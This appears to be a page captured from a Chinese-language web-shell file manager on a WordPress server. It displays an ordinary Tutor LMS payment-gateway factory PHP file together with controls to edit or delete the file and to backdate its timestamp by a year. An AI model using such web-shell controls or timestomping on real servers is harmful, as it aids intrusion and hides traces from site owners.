文件操作 - GatewayFactory.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/tutor/ecommerce/PaymentGateways/GatewayFactory.php
编辑文件内容
<?php /** * Payment gateway factory class * * @package Tutor\Ecommerce * @author Themeum * @link https://themeum.com * @since 3.0.0 */ namespace Tutor\PaymentGateways; /** * Create object of a payment gateway */ abstract class GatewayFactory { /** * Create an instance of the specified payment gateway. * * @param string $gateway The fully qualified class name of the gateway. * @return GatewayBase * @throws \InvalidArgumentException If the class does not exist or is not an instance of GatewayBase. */ public static function create( string $gateway ): GatewayBase { if ( ! class_exists( $gateway ) ) { throw new \InvalidArgumentException( esc_html( "Gateway class {$gateway} does not exist." ) ); } $obj = new $gateway(); // Ensure the object is an instance of GatewayBase. if ( ! $obj instanceof GatewayBase ) { throw new \InvalidArgumentException( esc_html( "Gateway {$gateway} must be an instance of GatewayBase." ) ); } return $obj; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件